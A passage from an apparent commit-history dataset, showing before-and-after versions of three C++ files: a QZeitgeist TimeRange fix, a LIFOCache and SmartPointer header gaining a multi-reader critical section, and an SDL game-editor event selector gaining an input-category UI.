::ZeitgeistTimeRange *resultTr = zeitgeist_time_range_intersect(thisTr, otherTr);\n\n    if (!resultTr) {\n        g_object_unref(thisTr);\n        g_object_unref(otherTr);\n\n        return TimeRange(-1, -1);\n    }\n\n    TimeRange result(zeitgeist_time_range_get_start(resultTr),\n                     zeitgeist_time_range_get_end(resultTr));\n\n    g_object_unref(thisTr);\n    g_object_unref(otherTr);\n    g_object_unref(resultTr);\n\n    return result;\n}\n\n\/\/ static\nTimeRange TimeRange::timeRangeAnytime()\n{\n    return TimeRange(0, std::numeric_limits<qint64>::max());\n}\n\n\/\/ static\nTimeRange TimeRange::timeRangeToNow()\n{\n    return TimeRange(0, QDateTime::currentDateTime().toMSecsSinceEpoch());\n}\n\n\/\/ static\nTimeRange TimeRange::timeRangeFromNow()\n{\n    return TimeRange(QDateTime::currentDateTime().toMSecsSinceEpoch(), 0);\n}\n\n}; \/\/ namespace QZeitgeist\n\n<commit_msg>Fixed TimeRange::timeRangeFromNow.<commit_after>\/*\n * This file is part of QZeitgeist.\n *\n * Copyright (C) 2013 David Rosca <nowrep@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\nextern \"C\" {\n#include <zeitgeist.h>\n}\n\n#include \"timerange.h\"\n#include \"timerange_p.h\"\n#include <limits>\n#include <QDateTime>\n\nnamespace QZeitgeist\n{\n\nTimeRangePrivate::TimeRangePrivate(qint64 start_, qint64 end_)\n    : start(start_)\n    , end(end_)\n{\n}\n\nTimeRangePrivate::TimeRangePrivate(const TimeRangePrivate &other)\n    : start(other.start)\n    , end(other.end)\n{\n}\n\nbool TimeRangePrivate::compare(const TimeRangePrivate &other) const\n{\n    return start == other.start && end == other.end;\n}\n\n::ZeitgeistTimeRange *timeRangeToNative(const TimeRange &other)\n{\n    return zeitgeist_time_range_new(other.start(), other.end());\n}\n\n\/\/ class TimeRange\nTimeRange::TimeRange(qint64 start, qint64 end)\n    : d(new TimeRangePrivate(start, end))\n{\n}\n\nTimeRange::TimeRange(const TimeRange &other)\n    : d(new TimeRangePrivate(*other.d))\n{\n}\n\nTimeRange::~TimeRange()\n{\n}\n\nTimeRange &TimeRange::operator=(const TimeRange &other)\n{\n    if (this != &other) {\n        d->start = other.d->start;\n        d->end = other.d->end;\n    }\n\n    return *this;\n}\n\nbool TimeRange::operator==(const TimeRange &other) const\n{\n    return d->compare(*other.d);\n}\n\nbool TimeRange::isValid() const\n{\n    return d->start > -1 && d->end > -1 && d->start <= d->end;\n}\n\nqint64 TimeRange::start() const\n{\n    return d->start;\n}\n\nqint64 TimeRange::end() const\n{\n    return d->end;\n}\n\nTimeRange TimeRange::intersect(const TimeRange &timeRange) const\n{\n    ::ZeitgeistTimeRange *thisTr = timeRangeToNative(*this);\n    ::ZeitgeistTimeRange *otherTr = timeRangeToNative(timeRange);\n    ::ZeitgeistTimeRange *resultTr = zeitgeist_time_range_intersect(thisTr, otherTr);\n\n    if (!resultTr) {\n        g_object_unref(thisTr);\n        g_object_unref(otherTr);\n\n        return TimeRange(-1, -1);\n    }\n\n    TimeRange result(zeitgeist_time_range_get_start(resultTr),\n                     zeitgeist_time_range_get_end(resultTr));\n\n    g_object_unref(thisTr);\n    g_object_unref(otherTr);\n    g_object_unref(resultTr);\n\n    return result;\n}\n\n\/\/ static\nTimeRange TimeRange::timeRangeAnytime()\n{\n    return TimeRange(0, std::numeric_limits<qint64>::max());\n}\n\n\/\/ static\nTimeRange TimeRange::timeRangeToNow()\n{\n    return TimeRange(0, QDateTime::currentDateTime().toMSecsSinceEpoch());\n}\n\n\/\/ static\nTimeRange TimeRange::timeRangeFromNow()\n{\n    return TimeRange(QDateTime::currentDateTime().toMSecsSinceEpoch(),\n                     std::numeric_limits<qint64>::max());\n}\n\n}; \/\/ namespace QZeitgeist\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef LIFOCache_HPP\n#define LIFOCache_HPP\n\n#include <string.h>\n#include <iostream>\n#include <cassert>\n#include <stdlib.h>\n#include <memory>\n\nusing namespace std;\n\n#ifndef bool\n#define bool int\n#endif\n#ifndef TRUE\n#define TRUE 1\n#define FALSE 0\n#endif\n\n\/**\n * Threadsafe LIFO single-producer\/single-consumer cache that returns most recently posted value.\n *\/\ntemplate <class T> class LIFOCache {\n  private: volatile long readCount;\n  private: volatile long writeCount;\n  private: T emptyValue;\n  private: T values[2];\n\n  public: LIFOCache() { \n    this->readCount = 0;\n    this->writeCount = 0;\n  }\n\n  public: ~LIFOCache() { }\n\n  public: T& get() {\n    int valueIndex = writeCount - readCount;\n    if (valueIndex > 0) {\n      values[0] = values[valueIndex];\n      for (int i = 1; i <= valueIndex; i++) {\n\tvalues[i] = emptyValue;\n      }\n    }\n    readCount = writeCount;\n    return values[0];\n  }\n\n  public: void post(T value) {\n    int valueIndex = writeCount - readCount + 1;\n    if (valueIndex >= 2) {\n      throw \"LIFOCache overflow\";\n    }\n    values[valueIndex] = value;\n    writeCount++;\n  }\n\n  public: bool isFresh() { return writeCount && writeCount != readCount; }\n};\n\ntemplate <class T> class SmartPointer {\n  public: class ReferencedPointer {\n    private: int references;\n    private: T* ptr;\n\n    public: inline ReferencedPointer() { \n      ptr = NULL;\n      references = 0;\n    }\n\n    public: inline ReferencedPointer(T* ptr) {\n      references = 1;\n      this->ptr = ptr;\n    }\n\n    public: inline void decref() {\n      references--;\n      if (references < 0) {\n\tthrow \"ReferencedPointer extra dereference\";\n      }\n      if (ptr && references == 0) {\n\tcout << \"ReferencedPointer() free \" << (long) ptr << endl;\n\t* (char *) ptr = 0; \/\/ mark as deleted\n\tfree(ptr);\n      }\n    }\n\n    public: inline void incref() { references++; }\n    public: inline T* get() { return ptr; }\n    public: inline int getReferences() const { return references; }\n  };\n\n  private: ReferencedPointer *pPointer;\n  private: inline void decref() { if (pPointer) { pPointer->decref(); } }\n  private: inline void incref() { if (pPointer) { pPointer->incref(); } }\n\n  public: inline SmartPointer(T* ptr) {\n    cout << \"SmartPointer(\" << (long) ptr << \")\" << endl;\n    this->pPointer = new ReferencedPointer(ptr);\n  }\n\n  public: inline SmartPointer() {\n    cout << \"SmartPointer(NULL)\" << endl;\n    this->pPointer = NULL;\n  }\n\n  public: inline SmartPointer(const SmartPointer &that) {\n    this->pPointer = that.pPointer;\n    this->incref();\n  }\n\n  public: inline ~SmartPointer() { decref(); }\n\n  public: inline SmartPointer& operator=( SmartPointer that ) {\n    decref();\n    this->pPointer = that.pPointer;\n    incref();\n    return *this;\n  }\n\n  public: inline int getReferences() { return pPointer ? pPointer->getReferences() : 0; }\n  public: inline T& operator*() { throw \"SmartPointer not implemented (1)\"; }\n  public: inline const T& operator*() const { throw \"SmartPointer not implemented (2)\"; }\n  public: inline T* operator->() { return pPointer ? pPointer->get() : NULL; }\n  public: inline const T* operator->() const { return pPointer ? pPointer->get() : NULL; }\n  public: inline operator T*() const { return pPointer ? pPointer->get() : NULL; }\n};\n\n#endif\n<commit_msg>multi-thread get<commit_after>#ifndef LIFOCache_HPP\n#define LIFOCache_HPP\n\n#include <string.h>\n#include <iostream>\n#include <cassert>\n#include <stdlib.h>\n#include <memory>\n#include <sched.h>\n\nusing namespace std;\n\n#ifndef bool\n#define bool int\n#endif\n#ifndef TRUE\n#define TRUE 1\n#define FALSE 0\n#endif\n\n\/**\n * Threadsafe LIFO single-producer\/multi-consumer cache that returns most recently posted value.\n *\/\ntemplate <class T> class LIFOCache {\n  private: volatile long readCount;\n  private: volatile long writeCount;\n  private: T emptyValue;\n  private: T values[2];\n  private: volatile int nReaders;\n\n  public: LIFOCache() { \n    this->readCount = 0;\n    this->writeCount = 0;\n    this->nReaders = 0;\n  }\n\n  public: ~LIFOCache() { }\n\n  public: T& get() {\n    int valueIndex = writeCount - readCount;\n    if (valueIndex > 0) {\n      \/\/\/\/\/\/\/\/\/\/\/\/\/ CRITICAL SECTION BEGIN \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n      while (++nReaders != 1) {\t\t\t\t\/\/\n        --nReaders;\t\t\t\t\t\/\/\n\tsched_yield();\t\t\t\t\t\/\/\n      }\t\t\t\t\t\t\t\/\/\n      values[0] = values[valueIndex];\t\t\t\/\/\n      for (int i = 1; i <= valueIndex; i++) {\t\t\/\/\n\tvalues[i] = emptyValue;\t\t\t\t\/\/\n      }\t\t\t\t\t\t\t\/\/\n      nReaders--; \t\t\t\t\t\/\/\n      \/\/\/\/\/\/\/\/\/\/\/\/\/ CRITICAL SECTION END \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    }\n    readCount = writeCount;\n    return values[0];\n  }\n\n  public: void post(T value) {\n    int valueIndex = writeCount - readCount + 1;\n    if (valueIndex >= 2) {\n      throw \"LIFOCache overflow\";\n    }\n    values[valueIndex] = value;\n    writeCount++;\n  }\n\n  public: bool isFresh() { return writeCount && writeCount != readCount; }\n};\n\ntemplate <class T> class SmartPointer {\n  public: class ReferencedPointer {\n    private: int references;\n    private: T* ptr;\n\n    public: inline ReferencedPointer() { \n      ptr = NULL;\n      references = 0;\n    }\n\n    public: inline ReferencedPointer(T* ptr) {\n      references = 1;\n      this->ptr = ptr;\n    }\n\n    public: inline void decref() {\n      references--;\n      if (references < 0) {\n\tthrow \"ReferencedPointer extra dereference\";\n      }\n      if (ptr && references == 0) {\n\tcout << \"ReferencedPointer() free \" << (long) ptr << endl;\n\t* (char *) ptr = 0; \/\/ mark as deleted\n\tfree(ptr);\n      }\n    }\n\n    public: inline void incref() { references++; }\n    public: inline T* get() { return ptr; }\n    public: inline int getReferences() const { return references; }\n  };\n\n  private: ReferencedPointer *pPointer;\n  private: inline void decref() { if (pPointer) { pPointer->decref(); } }\n  private: inline void incref() { if (pPointer) { pPointer->incref(); } }\n\n  public: inline SmartPointer(T* ptr) {\n    cout << \"SmartPointer(\" << (long) ptr << \")\" << endl;\n    this->pPointer = new ReferencedPointer(ptr);\n  }\n\n  public: inline SmartPointer() {\n    cout << \"SmartPointer(NULL)\" << endl;\n    this->pPointer = NULL;\n  }\n\n  public: inline SmartPointer(const SmartPointer &that) {\n    this->pPointer = that.pPointer;\n    this->incref();\n  }\n\n  public: inline ~SmartPointer() { decref(); }\n\n  public: inline SmartPointer& operator=( SmartPointer that ) {\n    decref();\n    this->pPointer = that.pPointer;\n    incref();\n    return *this;\n  }\n\n  public: inline int getReferences() { return pPointer ? pPointer->getReferences() : 0; }\n  public: inline T& operator*() { throw \"SmartPointer not implemented (1)\"; }\n  public: inline const T& operator*() const { throw \"SmartPointer not implemented (2)\"; }\n  public: inline T* operator->() { return pPointer ? pPointer->get() : NULL; }\n  public: inline const T* operator->() const { return pPointer ? pPointer->get() : NULL; }\n  public: inline operator T*() const { return pPointer ? pPointer->get() : NULL; }\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2016 tildearrow\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n *The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n#include \"eteditor.h\"\n\nvoid eteditor::setetype(etype* e) {\n  entitytype=e;\n}\n\nvoid eteditor::setfont(font* fontset) {\n  f=fontset;\n}\n\nvoid eteditor::setrenderer(SDL_Renderer* renderer) {\n  r=renderer;\n}\n\nvoid eteditor::mouse() {\n  if (*mB&1) {\n    if (entitytype!=NULL) {\n      temppoint.x=*mX;\n      temppoint.y=*mY;\n      temprect.x=w-256;\n      temprect.y=offY+20;\n      temprect.w=85;\n      temprect.h=20;\n      if (SDL_PointInRect(&temppoint,&temprect)) {\n        select=true;\n        selectedevent=0x00000000;\n      }\n      if (select) {\n        temprect.w=(w-512)\/5;\n        temprect.h=20;\n        temprect.y=offY+20;\n        for (int i=0; i<5; i++) {\n          temprect.x=offX+(((w-512)*i)\/5);\n          if (SDL_PointInRect(&temppoint,&temprect)) {\n            switch (i) {\n              case 0: selectedevent=0x00000000; break;\n              case 1: selectedevent=0x01000000; break;\n              case 2: selectedevent=0x02000000; break;\n              case 3: selectedevent=0x03000000; break;\n              case 4: selectedevent=0x0f000000; break;\n            }\n          }\n        }\n        temprect.y=offY+40;\n        for (int i=0; i<5; i++) {\n          temprect.x=offX+(((w-512)*i)\/5);\n          if (SDL_PointInRect(&temppoint,&temprect)) {\n            switch (i) {\n              case 0: selectedevent=0x10000000; break;\n              case 1: selectedevent=0x20000000; break;\n              case 2: selectedevent=0x70000000; break;\n              case 3: selectedevent=0x7e000000; break;\n              case 4: selectedevent=0x7f000000; break;\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nvoid eteditor::draw() {\n  f->drawf(256,256,{255,255,255,255},0,0,\"%d\",(entitytype==NULL));\n  if (entitytype!=NULL) {\n    f->draw(w-128, offY+2, color[0], 1, 0, false, \"Events\");\n    SDL_RenderDrawLine(r, w, offY+20, w-256, offY+20);\n    SDL_RenderDrawLine(r, w, offY+40, w-256, offY+40);\n    SDL_RenderDrawLine(r, w-256, offY, w-256, h);\n    \n    SDL_RenderDrawLine(r, w-85, offY+20, w-85, offY+40);\n    SDL_RenderDrawLine(r, w-171, offY+20, w-171, offY+40);\n    \n    f->draw(w-214, offY+22, color[0], 1, 0, 0, \"Add\");\n    f->draw(w-128, offY+22, color[0], 1, 0, 0, \"Change\");\n    f->draw(w-43, offY+22, color[0], 1, 0, 0, \"Remove\");\n    \n    if (select) {\n      eventselector();\n    } else {\n      codeeditor();\n    }\n  }\n}\n\nvoid eteditor::eventselector() {\n  \/\/ header\n  f->draw(w\/2,offY,color[0],1,0,0,\"Select Event\");\n  SDL_RenderDrawLine(r, offX, offY+20, w-256, offY+20);\n  \/\/ event type buttons\n  f->draw(offX+(int)(((float)w-512)*0.1),offY+20,color[((selectedevent>>24)==0x00)],1,0,0,\"Entity\");\n  f->draw(offX+(int)(((float)w-512)*0.3),offY+20,color[((selectedevent>>24)==0x01)],1,0,0,\"Frame\");\n  f->draw(offX+(int)(((float)w-512)*0.5),offY+20,color[((selectedevent>>24)==0x02)],1,0,0,\"Collision\");\n  f->draw(offX+(int)(((float)w-512)*0.7),offY+20,color[((selectedevent>>24)==0x03)],1,0,0,\"Timer\");\n  f->draw(offX+(int)(((float)w-512)*0.9),offY+20,color[((selectedevent>>24)==0x0f)],1,0,0,\"Render\");\n  f->draw(offX+(int)(((float)w-512)*0.1),offY+40,color[((selectedevent>>28)==0x1)],1,0,0,\"Input\");\n  f->draw(offX+(int)(((float)w-512)*0.3),offY+40,color[((selectedevent>>24)==0x20)],1,0,0,\"Scene\");\n  f->draw(offX+(int)(((float)w-512)*0.5),offY+40,color[((selectedevent>>24)==0x70)],1,0,0,\"Game\");\n  f->draw(offX+(int)(((float)w-512)*0.7),offY+40,color[((selectedevent>>24)==0x7e)],1,0,0,\"Error\");\n  f->draw(offX+(int)(((float)w-512)*0.9),offY+40,color[((selectedevent>>24)==0x7f)],1,0,0,\"User\");\n  SDL_RenderDrawLine(r, offX, offY+60, w-256, offY+60);\n  \/\/ event-type-respective UI\n  switch (selectedevent>>24) {\n    case 0:\n      f->draw(w\/2,offY+100,color[(selectedevent&0xf)==1],1,1,0,\"Pre-Creation\");\n      f->draw(w\/2,offY+160,color[(selectedevent&0xf)==2],1,1,0,\"Creation\");\n      f->draw(w\/2,offY+220,color[(selectedevent&0xf)==3],1,1,0,\"Destruction\");\n      f->draw(w\/2,offY+280,color[(selectedevent&0xf)==4],1,1,0,\"Post-Destruction\");\n      break;\n    case 1:\n      f->draw(w\/2,offY+100,color[(selectedevent&0xf)==1],1,1,0,\"Pre-Frame\");\n      f->draw(w\/2,offY+160,color[(selectedevent&0xf)==2],1,1,0,\"Frame\");\n      f->draw(w\/2,offY+220,color[(selectedevent&0xf)==3],1,1,0,\"Post-Frame\");\n      break;\n    case 2:\n      SDL_RenderDrawLine(r, offX, offY+80, w-256, offY+80);\n      f->draw(offX+(int)(((float)w-512)*1\/6),offY+60,color[((selectedevent>>20)<0x02e)],1,0,0,\"-> Entity Type\");\n      f->draw(offX+(int)(((float)w-512)*3\/6),offY+60,color[((selectedevent>>20)==0x02e)],1,0,0,\"-> Entity Group\");\n      f->draw(offX+(int)(((float)w-512)*5\/6),offY+60,color[((selectedevent>>20)==0x02f)],1,0,0,\"-> Other\");\n      break;\n    case 3:\n      SDL_RenderDrawLine(r, offX, offY+80, w-256, offY+80);\n      f->draw(offX+(int)(((float)w-512)*1\/4),offY+60,color[((selectedevent>>20)<0x038)],1,0,0,\"Entity\");\n      f->draw(offX+(int)(((float)w-512)*3\/4),offY+60,color[((selectedevent>>20)>0x037)],1,0,0,\"Global\");\n      break;\n    case 0x0f:\n      f->draw(w\/2,offY+100,color[(selectedevent&0xf)==1],1,1,0,\"Pre-Clear\");\n      f->draw(w\/2,offY+160,color[(selectedevent&0xf)==2],1,1,0,\"Pre-Render\");\n      f->draw(w\/2,offY+220,color[(selectedevent&0xf)==3],1,1,0,\"Render\");\n      f->draw(w\/2,offY+280,color[(selectedevent&0xf)==4],1,1,0,\"Post-Render\");\n      f->draw(w\/2,offY+340,color[(selectedevent&0xf)==4],1,1,0,\"Overlay\");\n      f->draw(w\/2,offY+400,color[(selectedevent&0xf)==4],1,1,0,\"Post-Present\");\n      break;\n    case 0x20:\n      f->draw(w\/2,offY+100,color[(selectedevent&0xf)==1],1,1,0,\"Load\");\n      f->draw(w\/2,offY+160,color[(selectedevent&0xf)==2],1,1,0,\"Finish\");\n      break;\n    case 0x70:\n      f->draw(w\/2,offY+100,color[(selectedevent&0xf)==1],1,1,0,\"Start\");\n      f->draw(w\/2,offY+160,color[(selectedevent&0xf)==2],1,1,0,\"Exit\");\n      f->draw(w\/2,offY+220,color[(selectedevent&0xf)==3],1,1,0,\"Restart\");\n      f->draw(w\/2,offY+280,color[(selectedevent&0xf)==4],1,1,0,\"Close Button\");\n      break;\n    case 0x7e:\n      SDL_RenderDrawLine(r, offX, offY+80, w-256, offY+80);\n      f->draw(offX+(int)(((float)w-512)*1\/8),offY+60,color[((selectedevent>>20)<0x02e)],1,0,0,\"Any Terminate\");\n      f->draw(offX+(int)(((float)w-512)*3\/8),offY+60,color[((selectedevent>>20)==0x02e)],1,0,0,\"Any Crash\");\n      f->draw(offX+(int)(((float)w-512)*5\/8),offY+60,color[((selectedevent>>20)==0x02f)],1,0,0,\"Any Signal\");\n      f->draw(offX+(int)(((float)w-512)*7\/8),offY+60,color[((selectedevent>>20)==0x02f)],1,0,0,\"Specific Signal\");\n      break;\n  }\n  \/\/ event ID\n  SDL_RenderDrawLine(r, offX, h-20, w-256, h-20);\n  f->drawf(offX+8,h-20,color[0],0,0,\"Event ID: 0x%.8x\",selectedevent);\n  \/\/ done\/cancel buttons\n  SDL_RenderDrawLine(r,w-256-128,h-20,w-256-128,h);\n  SDL_RenderDrawLine(r,w-256-64,h-20,w-256-64,h);\n  f->draw(w-256-96,h-20,color[0],1,0,0,\"Done\");\n  f->draw(w-256-32,h-20,color[0],1,0,0,\"Cancel\");\n\n}\n\nvoid eteditor::codeeditor() {\n  f->draw(offX,offY,color[0],1,0,0,\"Code Editor\");\n}\n\nvoid eteditor::setcolor(int colindex, SDL_Color colcol) {\n  color[colindex]=colcol;\n}\n\nvoid eteditor::setmouse(int* x, int* y, unsigned int* b, unsigned int* bold) {\n  mX=x; mY=y; mB=b; mBold=bold;\n}\n\neteditor::eteditor() {\n  entitytype=NULL;\n  select=false;\n}<commit_msg>adding input category UI<commit_after>\/*\n * Copyright (c) 2016 tildearrow\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n *The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n#include \"eteditor.h\"\n\nvoid eteditor::setetype(etype* e) {\n  entitytype=e;\n}\n\nvoid eteditor::setfont(font* fontset) {\n  f=fontset;\n}\n\nvoid eteditor::setrenderer(SDL_Renderer* renderer) {\n  r=renderer;\n}\n\nvoid eteditor::mouse() {\n  if (*mB&1) {\n    if (entitytype!=NULL) {\n      temppoint.x=*mX;\n      temppoint.y=*mY;\n      temprect.x=w-256;\n      temprect.y=offY+20;\n      temprect.w=85;\n      temprect.h=20;\n      if (SDL_PointInRect(&temppoint,&temprect)) {\n        select=true;\n        selectedevent=0x00000000;\n      }\n      if (select) {\n        temprect.w=(w-512)\/5;\n        temprect.h=20;\n        temprect.y=offY+20;\n        for (int i=0; i<5; i++) {\n          temprect.x=offX+(((w-512)*i)\/5);\n          if (SDL_PointInRect(&temppoint,&temprect)) {\n            switch (i) {\n              case 0: selectedevent=0x00000000; break;\n              case 1: selectedevent=0x01000000; break;\n              case 2: selectedevent=0x02000000; break;\n              case 3: selectedevent=0x03000000; break;\n              case 4: selectedevent=0x0f000000; break;\n            }\n          }\n        }\n        temprect.y=offY+40;\n        for (int i=0; i<5; i++) {\n          temprect.x=offX+(((w-512)*i)\/5);\n          if (SDL_PointInRect(&temppoint,&temprect)) {\n            switch (i) {\n              case 0: selectedevent=0x10000000; break;\n              case 1: selectedevent=0x20000000; break;\n              case 2: selectedevent=0x70000000; break;\n              case 3: selectedevent=0x7e000000; break;\n              case 4: selectedevent=0x7f000000; break;\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nvoid eteditor::draw() {\n  f->drawf(256,256,{255,255,255,255},0,0,\"%d\",(entitytype==NULL));\n  if (entitytype!=NULL) {\n    f->draw(w-128, offY+2, color[0], 1, 0, false, \"Events\");\n    SDL_RenderDrawLine(r, w, offY+20, w-256, offY+20);\n    SDL_RenderDrawLine(r, w, offY+40, w-256, offY+40);\n    SDL_RenderDrawLine(r, w-256, offY, w-256, h);\n    \n    SDL_RenderDrawLine(r, w-85, offY+20, w-85, offY+40);\n    SDL_RenderDrawLine(r, w-171, offY+20, w-171, offY+40);\n    \n    f->draw(w-214, offY+22, color[0], 1, 0, 0, \"Add\");\n    f->draw(w-128, offY+22, color[0], 1, 0, 0, \"Change\");\n    f->draw(w-43, offY+22, color[0], 1, 0, 0, \"Remove\");\n    \n    if (select) {\n      eventselector();\n    } else {\n      codeeditor();\n    }\n  }\n}\n\nvoid eteditor::eventselector() {\n  \/\/ header\n  f->draw(w\/2,offY,color[0],1,0,0,\"Select Event\");\n  SDL_RenderDrawLine(r, offX, offY+20, w-256, offY+20);\n  \/\/ event type buttons\n  f->draw(offX+(int)(((float)w-512)*0.1),offY+20,color[((selectedevent>>24)==0x00)],1,0,0,\"Entity\");\n  f->draw(offX+(int)(((float)w-512)*0.3),offY+20,color[((selectedevent>>24)==0x01)],1,0,0,\"Frame\");\n  f->draw(offX+(int)(((float)w-512)*0.5),offY+20,color[((selectedevent>>24)==0x02)],1,0,0,\"Collision\");\n  f->draw(offX+(int)(((float)w-512)*0.7),offY+20,color[((selectedevent>>24)==0x03)],1,0,0,\"Timer\");\n  f->draw(offX+(int)(((float)w-512)*0.9),offY+20,color[((selectedevent>>24)==0x0f)],1,0,0,\"Render\");\n  f->draw(offX+(int)(((float)w-512)*0.1),offY+40,color[((selectedevent>>28)==0x1)],1,0,0,\"Input\");\n  f->draw(offX+(int)(((float)w-512)*0.3),offY+40,color[((selectedevent>>24)==0x20)],1,0,0,\"Scene\");\n  f->draw(offX+(int)(((float)w-512)*0.5),offY+40,color[((selectedevent>>24)==0x70)],1,0,0,\"Game\");\n  f->draw(offX+(int)(((float)w-512)*0.7),offY+40,color[((selectedevent>>24)==0x7e)],1,0,0,\"Error\");\n  f->draw(offX+(int)(((float)w-512)*0.9),offY+40,color[((selectedevent>>24)==0x7f)],1,0,0,\"User\");\n  SDL_RenderDrawLine(r, offX, offY+60, w-256, offY+60);\n  \/\/ event-type-respective UI\n  if ((selectedevent>>28)==0x1) {\n    SDL_RenderDrawLine(r, offX, offY+80, w-256, offY+80);\n    f->draw(offX+(int)(((float)w-512)*1\/10),offY+60,color[((selectedevent>>24)==0x10)],1,0,0,\"Keyboard\");\n    f->draw(offX+(int)(((float)w-512)*3\/10),offY+60,color[((selectedevent>>24)==0x11)],1,0,0,\"Mouse\");\n    f->draw(offX+(int)(((float)w-512)*5\/10),offY+60,color[((selectedevent>>24)==0x12)],1,0,0,\"Joystick\");\n    f->draw(offX+(int)(((float)w-512)*7\/10),offY+60,color[((selectedevent>>24)==0x13)],1,0,0,\"Touch\");\n    f->draw(offX+(int)(((float)w-512)*9\/10),offY+60,color[((selectedevent>>24)==0x1f)],1,0,0,\"Other\");\n  } else {\n    switch (selectedevent>>24) {\n      case 0:\n        f->draw(w\/2,offY+100,color[(selectedevent&0xf)==1],1,1,0,\"Pre-Creation\");\n        f->draw(w\/2,offY+160,color[(selectedevent&0xf)==2],1,1,0,\"Creation\");\n        f->draw(w\/2,offY+220,color[(selectedevent&0xf)==3],1,1,0,\"Destruction\");\n        f->draw(w\/2,offY+280,color[(selectedevent&0xf)==4],1,1,0,\"Post-Destruction\");\n        break;\n      case 1:\n        f->draw(w\/2,offY+100,color[(selectedevent&0xf)==1],1,1,0,\"Pre-Frame\");\n        f->draw(w\/2,offY+160,color[(selectedevent&0xf)==2],1,1,0,\"Frame\");\n        f->draw(w\/2,offY+220,color[(selectedevent&0xf)==3],1,1,0,\"Post-Frame\");\n        break;\n      case 2:\n        SDL_RenderDrawLine(r, offX, offY+80, w-256, offY+80);\n        f->draw(offX+(int)(((float)w-512)*1\/6),offY+60,color[((selectedevent>>20)<0x02e)],1,0,0,\"-> Entity Type\");\n        f->draw(offX+(int)(((float)w-512)*3\/6),offY+60,color[((selectedevent>>20)==0x02e)],1,0,0,\"-> Entity Group\");\n        f->draw(offX+(int)(((float)w-512)*5\/6),offY+60,color[((selectedevent>>20)==0x02f)],1,0,0,\"-> Other\");\n        break;\n      case 3:\n        SDL_RenderDrawLine(r, offX, offY+80, w-256, offY+80);\n        f->draw(offX+(int)(((float)w-512)*1\/4),offY+60,color[((selectedevent>>20)<0x038)],1,0,0,\"Entity\");\n        f->draw(offX+(int)(((float)w-512)*3\/4),offY+60,color[((selectedevent>>20)>0x037)],1,0,0,\"Global\");\n        break;\n      case 0x0f:\n        f->draw(w\/2,offY+100,color[(selectedevent&0xf)==1],1,1,0,\"Pre-Clear\");\n        f->draw(w\/2,offY+160,color[(selectedevent&0xf)==2],1,1,0,\"Pre-Render\");\n        f->draw(w\/2,offY+220,color[(selectedevent&0xf)==3],1,1,0,\"Render\");\n        f->draw(w\/2,offY+280,color[(selectedevent&0xf)==4],1,1,0,\"Post-Render\");\n        f->draw(w\/2,offY+340,color[(selectedevent&0xf)==4],1,1,0,\"Overlay\");\n        f->draw(w\/2,offY+400,color[(selectedevent&0xf)==4],1,1,0,\"Post-Present\");\n        break;\n      case 0x20:\n        f->draw(w\/2,offY+100,color[(selectedevent&0xf)==1],1,1,0,\"Load\");\n        f->draw(w\/2,offY+160,color[(selectedevent&0xf)==2],1,1,0,\"Finish\");\n        break;\n      case 0x70:\n        f->draw(w\/2,offY+100,color[(selectedevent&0xf)==1],1,1,0,\"Start\");\n        f->draw(w\/2,offY+160,color[(selectedevent&0xf)==2],1,1,0,\"Exit\");\n        f->draw(w\/2,offY+220,color[(selectedevent&0xf)==3],1,1,0,\"Restart\");\n        f->draw(w\/2,offY+280,color[(selectedevent&0xf)==4],1,1,0,\"Close Button\");\n        break;\n      case 0x7e:\n        SDL_RenderDrawLine(r, offX, offY+80, w-256, offY+80);\n        f->draw(offX+(int)(((float)w-512)*1\/8),offY+60,color[((selectedevent>>20)<0x02e)],1,0,0,\"Any Terminate\");\n        